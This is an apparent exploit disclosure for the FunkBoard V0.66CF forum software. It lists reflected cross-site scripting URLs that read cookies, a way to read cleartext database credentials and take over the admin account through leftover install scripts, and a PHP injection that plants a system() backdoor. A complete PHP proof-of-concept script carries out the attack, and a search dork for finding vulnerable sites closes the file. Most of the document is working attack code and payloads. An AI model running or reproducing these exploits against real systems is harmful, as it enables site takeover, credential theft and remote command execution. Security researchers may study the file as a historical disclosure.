funkboard066.txt

`FunkBoard V0.66CF (possibly prior versions) cross site scripting,   
possible database username/password disclosure & board takeover,  
possible remote code execution  
  
  
software:  
author site: http://www.[path_to_funkboard].co.uk/  
  
xss:  
http://[target]/[path_to_funkboard]/editpost.php?fbusername="><script>alert(document.cookie)</script>  
http://[target]/[path_to_funkboard]/editpost.php?fbpassword="><script>alert(document.cookie)</script>  
http://[target]/[path_to_funkboard]/prefs.php?fbpassword="><script>alert(document.cookie)</script>  
http://[target]/[path_to_funkboard]/prefs.php?fbusername="><script>alert(document.cookie)</script>  
http://[target]/[path_to_funkboard]/newtopic.php?forumid=1&fbusername="><script>alert(document.cookie)</script>  
http://[target]/[path_to_funkboard]/newtopic.php?forumid=1&fbpassword="><script>alert(document.cookie)</script>  
http://[target]/[path_to_funkboard]/newtopic.php?forumid=1&subject="><script>alert(document.cookie)</script>  
http://[target]/[path_to_funkboard]/reply.php?forumid=1&threadid=1&fbusername="><script>alert(document.cookie)</script>  
http://[target]/[path_to_funkboard]/reply.php?forumid=1&threadid=1&fbpassword="><script>alert(document.cookie)</script>  
http://[target]/[path_to_funkboard]/profile.php?fbusername="><script>alert(document.cookie)</script>  
http://[target]/[path_to_funkboard]/profile.php?fbpassword="><script>alert(document.cookie)</script>  
http://[target]/[path_to_funkboard]/register.php?fbusername="><script>alert(document.cookie)</script>  
http://[target]/[path_to_funkboard]/register.php?fmail="><script>alert(document.cookie)</script>  
http://[target]/[path_to_funkboard]/register.php?www="><script>alert(document.cookie)</script>  
http://[target]/[path_to_funkboard]/register.php?icq="><script>alert(document.cookie)</script>  
http://[target]/[path_to_funkboard]/register.php?yim="><script>alert(document.cookie)</script>  
http://[target]/[path_to_funkboard]/register.php?location="><script>alert(document.cookie)</script>  
http://[target]/[path_to_funkboard]/register.php?sex="><script>alert(document.cookie)</script>  
http://[target]/[path_to_funkboard]/register.php?interebbies="><script>alert(document.cookie)</script>  
http://[target]/[path_to_funkboard]/register.php?sig=</textarea><script>alert(document.cookie)</script>  
http://[target]/[path_to_funkboard]/register.php?aim="><script>alert(document.cookie)</script>  
  
path disclosure:   
http://[target]/[path_to_funkboard]/images/forums.php  
  
database username & password disclosure:  
  
during installation is not remembered to delete the mysql_install script and the installation  
do not delete it, usually:  
  
http://[target]/[path]/admin/mysql_install.php   
  
or  
  
http://[target]/[path]/admin/pg_install.php  
  
there, a user can see database clear text username & password ...  
  
Then, the script let the user proceed to the next page, where he can reset funkboard administator   
username & password. Now the script faults, because some tables exist, etc.  
So user can go back and setting a new database name for installation, guessing among other  
installations on the server...  
Once Installation succeeded he can set new admin username e password then login at this page:  
  
http://[target]/[path]/[path_to_funkboard]/admin/index.php  
  
Now the user can edit templates and append some evil javascript code.  
  
  
remote code execution:  
  
look at this code in mysql_install.php :  
  
$infoout = "<?php\n\n// server name, eg. localhost\n\$server = '$server1';\n// your database's name\n\$dbname = '$dbname1';\n// your username to access that database\n\$dbuser = '$dbuser1';";  
$infoout.= "\n// your password to access that database\n\$dbpass = '$dbpass1';\n\n// a contact email for when errors arise\n\$email = '$email1';";  
$infoout.= "\n\n// database engine- 'mysql' or 'postgres'\n\$dbtype='$dbtype1';\n\n?>";  
  
echo "Writing Config File<br>";  
unlink ("../info.php");  
  
$outname="../info.php";  
$file = fopen($outname,"w+");  
fputs($file, $infoout);  
fclose($file);  
  
clearly, you can inject php code, example:  
  
go to http://[target]/[path]/admin/mysql_install.php   
  
in email field (not checked) write:  
  
[email protected]'; error_reporting(0); system($HTTP_GET_VARS[command]); echo '  
  
press continue...  
  
now look at info.php, the config file in main directory, you have:  
  
<?php  
  
// server name, eg. localhost  
$server = 'localhost';  
// your database's name  
$dbname = 'dbname';  
// your username to access that database  
$dbuser = 'dbuser';  
// your password to access that database  
$dbpass = 'dbpassword';  
  
// a contact email for when errors arise  
$email = '[email protected]'; error_reporting(0); system($HTTP_GET_VARS[command]); echo '';  
  
// database engine- 'mysql' or 'postgres'  
$dbtype='mysql';  
  
?>  
  
so, you have a backdoor on target system...  
  
you can launch commands by this urls:  
  
http://localhost:30/funkboard/info.php?command=ls%20-la  
  
to list directories...  
  
http://localhost:30/funkboard/info.php?command=cat%20/etc/passwd  
  
to see /etc/passwd file  
  
this is my proof of concept exploit:  
  
<?php  
/* FunkBoard V0.66CF (possibly prior versions) remote code execution  
by rgod  
site: http://rgod.altervista.org  
  
  
make these changes in php.ini if you have troubles  
with this script:  
allow_call_time_pass_reference = on  
register_globals = on */  
error_reporting(0);  
ini_set("max_execution_time",0);  
ini_set("default_socket_timeout", 2);  
ob_implicit_flush (1);  
  
echo '<head><title>FunkBoard V0.66CF remote commands execution</title>  
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">  
<style type="text/css">  
<!--  
body,td,th {color: #00FF00;}  
body {background-color: #000000;}  
.Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; }  
.Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;  
font-weight: bold;  
font-style: italic;  
}  
-->  
</style></head>  
<body>  
<p class="Stile6">FunkBoard V0.66CF (possibly prior versions) remote commands execution</p>  
<p class="Stile6">a script by rgod at <a href="http://rgod.altervista.org" target="_blank">http://rgod.altervista.org</a></p>  
<table width="84%" >  
<tr>  
<td width="43%">  
<form name="form1" method="post" action="'.$PHP_SELF.'?path=value&host=value&port=value&command=value&proxy=value">  
<p>  
<input type="text" name="host">  
<span class="Stile5">hostname (ex: www.sitename.com) </span></p>  
<p>  
<input type="text" name="path">  
<span class="Stile5">path (ex: /funkboard/ or /forum/ just /) </span></p>  
<p>  
<input type="text" name="port">  
<span class="Stile5">specify a port other than 80 (default value) </span></p>  
<p>  
<input type="text" name="command">  
<span class="Stile5">a Unix command, example: ls -la to list directories, cat /etc/passwd to show passwd file </span></p>  
<p>  
<input type="text" name="proxy">  
<span class="Stile5">send exploit through an HTTP proxy (ip:port) </span></p>  
<p>  
<input type="submit" name="Submit" value="go!">  
</p>  
</form></td>  
</tr>  
</table>  
</body>  
</html>';  
  
function show($headeri)  
{  
$ii=0;  
$ji=0;  
$ki=0;  
$ci=0;  
echo '<table border="0"><tr>';  
while ($ii <= strlen($headeri)-1)  
{  
$datai=dechex(ord($headeri[$ii]));  
if ($ji==16) {  
$ji=0;  
$ci++;  
echo "<td>&nbsp;&nbsp;</td>";  
for ($li=0; $li<=15; $li++)  
{ echo "<td>".$headeri[$li+$ki]."</td>";  
}  
$ki=$ki+16;  
echo "</tr><tr>";  
}  
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else  
{echo "<td>".$datai."</td> ";}  
$ii++;  
$ji++;  
}  
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)  
{ echo "<td>&nbsp&nbsp</td>";  
}  
  
for ($li=$ci*16; $li<=strlen($headeri); $li++)  
{ echo "<td>".$headeri[$li]."</td>";  
}  
  
echo "</tr></table>";  
}  
  
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
  
if (($path<>'') and ($host<>'') and ($command<>''))  
{  
  
  
if ($port=='') {$port=80;}  
if ($proxy=='')  
{$packet="GET ".$path."admin/mysql_install.php HTTP/1.1\r\n";}  
else  
{  
$c = preg_match_all($proxy_regex,$proxy,$is_proxy);  
if ($c==0) {  
echo 'check the proxy...<br>';  
die;  
}  
else  
{$packet="GET http://".$host.$path."admin/mysql_install.php HTTP/1.0\r\n";}  
}  
$packet.="Accept: *//*\r\n";  
$packet.="Accept-Encoding: text/plain\r\n";  
$packet.="Host: ".$host."\r\n\r\n";  
$packet.="Connection: Close\r\n\r\n";  
show($packet);  
if ($proxy=='')  
{$fp=fsockopen(gethostbyname($host),$port);}  
else  
{$parts=explode(':',$proxy);  
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';  
$fp=fsockopen($parts[0],$parts[1]);  
if (!$fp) { echo 'No response from proxy...';  
die;  
}  
}  
fputs($fp,$packet);  
$data='';  
if ($proxy=='')  
{  
while (!feof($fp))  
{  
$data.=fgets($fp);  
}  
}  
else  
{  
$data='';  
while ((!feof($fp)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data)))  
{  
$data.=fread($fp,1);  
}  
  
}  
fclose($fp);  
show($data);  
echo '<br>';  
  
if (!eregi('HTTP/1.1 200 OK',$data)) {echo 'Error...see packet dump'; die;}  
  
//************************extract values from form********************************  
  
$parts=explode('value="',$data);  
for ($i=0; $i<=count($parts)-1; $i++)  
{  
$p[$i]=explode('"',$parts[$i]);  
  
if ($i==2) {$server1=$p[$i][0];}  
if ($i==3) {$dbname1=$p[$i][0];}  
if ($i==4) {$dbuser1=$p[$i][0];}  
if ($i==5) {$dbpass1=$p[$i][0];}  
if ($i==6)  
{  
if (eregi('CHECKED',$parts[$i]))  
{ $dbtype1='mysql';}  
else  
{ $dbtype1='postgres';}  
}  
if ($i==8) {$e=$p[$i][0];}  
}  
  
echo 'Server: '.$server1.'<br>';  
echo 'DbName: '.$dbname1.'<br>';  
echo 'DbUser: '.$dbuser1.'<br>';  
echo 'DbPass: '.$dbpass1.'<br>';  
echo 'DbType: '.$dbtype1.'<br>';  
echo 'Email : '.$e.'<br>';  
  
$data="server1=".urlencode($server1)."&dbname1=".urlencode($dbname1)."&dbuser1=";  
$data.=urlencode($dbuser1)."&dbpass1=".urlencode($dbpass1)."&dbtype1=".urlencode($dbtype1)."&email1=".urlencode($e);  
$data.=urlencode("'; error_reporting(0); system(".'$HTTP_GET_VARS[command]'."); echo'");  
$data.="&action=Continue2";  
  
if ($proxy=='')  
{$packet="POST ".$path."admin/mysql_install.php HTTP/1.1\r\n";}  
else  
{  
$c = preg_match_all($proxy_regex,$proxy,$is_proxy);  
if ($c==0) {  
echo 'check the proxy...<br>';  
die;  
}  
else  
{$packet="POST http://".$host.$path."admin/mysql_install.php HTTP/1.1\r\n";}  
}  
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";  
$packet.="Referer: http://".$host.":".$port.$path."mysql_install.php\r\n";  
$packet.="Accept-Language: it\r\n";  
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";  
$packet.="Accept-Encoding: gzip, deflate\r\n";  
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Connection: Keep-Alive\r\n";  
$packet.="Cache-Control: no-cache\r\n\r\n";  
$packet.=$data;  
show($packet);  
  
  
if ($proxy=='')  
{$fp=fsockopen(gethostbyname($host),$port);}  
else  
{$parts=explode(':',$proxy);  
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';  
$fp=fsockopen($parts[0],$parts[1]);  
if (!$fp) { echo 'No response from proxy...';  
die;  
}  
  
}  
fputs($fp,$packet);  
$data='';  
while ((!feof($fp)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data)))  
{  
$data.=fread($fp,1);  
}  
fclose($fp);  
show($data);  
  
  
if ($proxy=='')  
{$packet="GET ".$path."info.php?command=".urlencode($command)." HTTP/1.1\r\n";}  
else  
{  
$c = preg_match_all($proxy_regex,$proxy,$is_proxy);  
if ($c==0) {  
echo 'check the proxy...<br>';  
die;  
}  
else  
{$packet="GET http://".$host.$path."info.php?command=".urlencode($command)." HTTP/1.1\r\n";}  
}  
  
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";  
$packet.="Accept-Encoding: text/plain\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
show($packet);  
if ($proxy=='')  
{$fp=fsockopen(gethostbyname($host),$port);}  
else  
{$parts=explode(':',$proxy);  
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';  
$fp=fsockopen($parts[0],$parts[1]);  
if (!$fp) { echo 'No response from proxy...';  
die;  
}  
  
}  
fputs($fp,$packet);  
$data='';  
  
if ($proxy=='')  
{ $data='';  
while (!feof($fp))  
{  
$data.=fgets($fp);  
}  
}  
else  
{  
$data='';  
while ((!feof($fp)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data)))  
{  
$data.=fread($fp,1);  
}  
  
}  
  
fclose($fp);  
if (eregi('HTTP/1.1 200 OK',$data))  
{echo 'Exploit sent...<br> If FunkBoard is vulnerable <br>';  
echo 'you will see '.htmlentities($command).' output inside HTML...<br><br>';  
}  
else  
{echo 'Error, see output...';}  
echo nl2br(htmlentities($data));  
  
  
$data="server1=".urlencode($server1)."&dbname1=".urlencode($dbname1)."&dbuser1=";  
$data.=urlencode($dbuser1)."&dbpass1=".urlencode($dbpass1)."&dbtype1=".urlencode($dbtype1)."&email1=".urlencode($e);  
$data.="&action=Continue2";  
  
if ($proxy=='')  
{$packet="POST ".$path."admin/mysql_install.php HTTP/1.1\r\n";}  
else  
{  
$c = preg_match_all($proxy_regex,$proxy,$is_proxy);  
if ($c==0) {  
echo 'check the proxy...<br>';  
die;  
}  
else  
{$packet="POST http://".$host.$path."admin/mysql_install.php HTTP/1.1\r\n";}  
}  
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, *//*\r\n";  
$packet.="Referer: http://".$host.":".$port.$path."mysql_install.php\r\n";  
$packet.="Accept-Language: it\r\n";  
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";  
$packet.="Accept-Encoding: gzip, deflate\r\n";  
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Connection: Keep-Alive\r\n";  
$packet.="Cache-Control: no-cache\r\n\r\n";  
$packet.=$data;  
show($packet);  
if ($proxy=='')  
{$fp=fsockopen(gethostbyname($host),$port);}  
else  
{$parts=explode(':',$proxy);  
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';  
$fp=fsockopen($parts[0],$parts[1]);  
if (!$fp) { echo 'No response from proxy...';  
die;  
}  
  
}  
fputs($fp,$packet);  
$data='';  
while ((!feof($fp)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data)))  
{  
$data.=fread($fp,1);  
}  
fclose($fp);  
show($data);  
  
}  
?>  
  
  
  
googledork: "Powered by FunkBoard"  
  
  
rgod  
site: http://rgod.altervista.org  
mail: [email protected]  
  
  
  
  
  
  
  
  
  
  
  
`